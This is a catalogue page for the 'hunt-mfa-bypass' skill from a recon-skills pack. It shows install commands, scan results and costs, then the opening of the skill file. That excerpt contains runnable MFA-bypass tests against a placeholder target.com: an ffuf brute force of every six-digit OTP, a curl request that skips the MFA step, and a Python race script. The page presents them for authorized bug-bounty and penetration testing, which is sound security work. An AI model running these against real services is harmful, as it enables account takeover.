Recon Skills is a pack of security-testing skills covering reconnaissance, web applications, APIs, authentication, vulnerability validation, cloud infrastructure, and reporting. Security professionals use it for authorized assessments of systems they own or have written permission to test. The catalogue entries are individual skills from the pack.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add uphiago/recon-skills --skill hunt-mfa-bypassgit clone --depth 1 https://github.com/uphiago/recon-skillsWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/uphiago/recon-skills/hunt-mfa-bypass)<a href="https://agentmods.dev/skills/uphiago/recon-skills/hunt-mfa-bypass"><img src="https://agentmods.dev/badge/skills/uphiago/recon-skills/hunt-mfa-bypass/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/uphiago/recon-skills/hunt-mfa-bypass"><img src="https://agentmods.dev/badge/skills/uphiago/recon-skills/hunt-mfa-bypass.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 1 finding, up to medium
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- medium Excessive Agency · line 141 Skill enables autonomous high-impact decisions without human-in-the-loop verification. Critical operations (destructive commands, financial transactions, data deletion) should require explicit user confirmation.Fix: Add human-in-the-loop confirmation for destructive, irreversible, or high-impact operations. Never auto-execute commands that modify files, send data, or alter system state.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00204 | $0.03481 |
| Opus 5 | $0.00102 | $0.01741 |
| Sonnet 5 | $0.00041 | $0.00696 |
| Haiku 4.5 | $0.00020 | $0.00348 |
Grade A, and why
hunt-mfa-bypass scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl --max-time 30 --connect-timeout 10 -s -b "session=PRE_MFA_SESSION" https://target.com/dashboard How it starts
The opening of the file, as written. The whole thing — 268 lines — stays where its author put it; the contents beside it link to each section on GitHub.
19. MFA / 2FA BYPASS
Growing bug class — 7 distinct patterns. Pays High/Critical when it enables ATO without prior session.
Pattern 1: No Rate Limit on OTP
# Test with ffuf — all 1M 6-digit codes
ffuf -u "https://target.com/api/verify-otp" \
-X POST -H "Content-Type: application/json" \
-H "Cookie: session=YOUR_SESSION" \
-d '{"otp":"FUZZ"}' \
-w <(seq -w 000000 999999) \
-fc 400,429 -t 5
# -t 5 (slow down) — aggressive rates get 429 or ban
Pattern 2: OTP Not Invalidated After Use
1. Login → receive OTP "123456" → enter it → success
2. Logout → login again with same credentials
3. Try OTP "123456" again
4. If accepted → OTP never invalidated = ATO (attacker sniffs OTP once, reuses forever)
Pattern 3: Response Manipulation
1. Enter wrong OTP → capture response in Burp
2. Change {"success":false} → {"success":true} (or 401 → 200)
3. Forward → if app proceeds → client-side only MFA check
Pattern 4: Skip MFA Step (Workflow Bypass)
# After entering password, app sets a "pre-mfa" cookie → redirects to /mfa
# Test: skip /mfa entirely, access /dashboard directly with pre-mfa cookie
# If app grants access without MFA = auth flow bypass = Critical
curl --max-time 30 --connect-timeout 10 -s -b "session=PRE_MFA_SESSION" https://target.com/dashboard
Pattern 5: Race on MFA Verification
import asyncio, aiohttp
async def verify(session, otp):
async with session.post("https://target.com/api/mfa/verify",
json={"otp": otp}) as r:
return r.status, await r.text()
async def race():
cookies = {"session": "YOUR_SESSION"}
async with aiohttp.ClientSession(cookies=cookies) as s:
# Fire ~30 concurrent submissions of the SAME OTP to hit the TOCTOU
# window before the server marks it used. Two requests are NOT enough —
# they almost always resolve sequentially as "already-used" (false negative).
# Best done as a single-packet / 20+ HTTP-2-stream attack (Turbo Intruder).
results = await asyncio.gather(*[verify(s, "123456") for _ in range(30)])
# Race confirmed if >1 success (or 1 success among many "already-used").
for status, body in results:
print(status, body)
asyncio.run(race())
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 8d ago First seen · 268 lines · 204 tokens per session scan A 624eefc6c303
hunt-mfa-bypass is a skill published in the GitHub repository uphiago/recon-skills (1,254 stars, last pushed 10d ago), licensed MIT. It adds 204 tokens to every session and 3,481 once invoked, about $0.0010 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
Other skills, from other repositories
auditing-gcp-iam-permissions
Auditing Google Cloud Platform IAM permissions to identify overly permissive bindings, primitive role usage, service account key proliferation, and cross-project access risks using gcloud CLI, Policy Analyzer, and IAM Recommender.
detecting-compromised-cloud-credentials
Detecting compromised cloud credentials across AWS, Azure, and GCP by analyzing anomalous API activity, impossible travel patterns, unauthorized resource provisioning, and credential abuse indicators using GuardDuty, Defender for Identity, and SCC Event Threat Detection.
detecting-s3-data-exfiltration-attempts
Detecting data exfiltration attempts from AWS S3 buckets by analyzing CloudTrail S3 data events, VPC Flow Logs, GuardDuty findings, Amazon Macie alerts, and S3 access patterns to identify unauthorized bulk downloads and cross-account data transfers.
implementing-aws-config-rules-for-compliance
Implementing AWS Config rules for continuous compliance monitoring of AWS resources, deploying managed and custom rules aligned to CIS and PCI DSS frameworks, configuring automatic remediation with SSM Automation, and aggregating compliance data across accounts.
implementing-aws-security-hub-compliance
Implementing AWS Security Hub to aggregate security findings across AWS accounts, enable compliance standards like CIS AWS Foundations and PCI DSS, configure automated remediation with EventBridge and Lambda, and create custom security insights for organizational risk management.
implementing-azure-defender-for-cloud
Implementing Microsoft Defender for Cloud to enable cloud security posture management, workload protection across VMs, containers, databases, and storage, configure security recommendations, and set up adaptive security controls with automated remediation.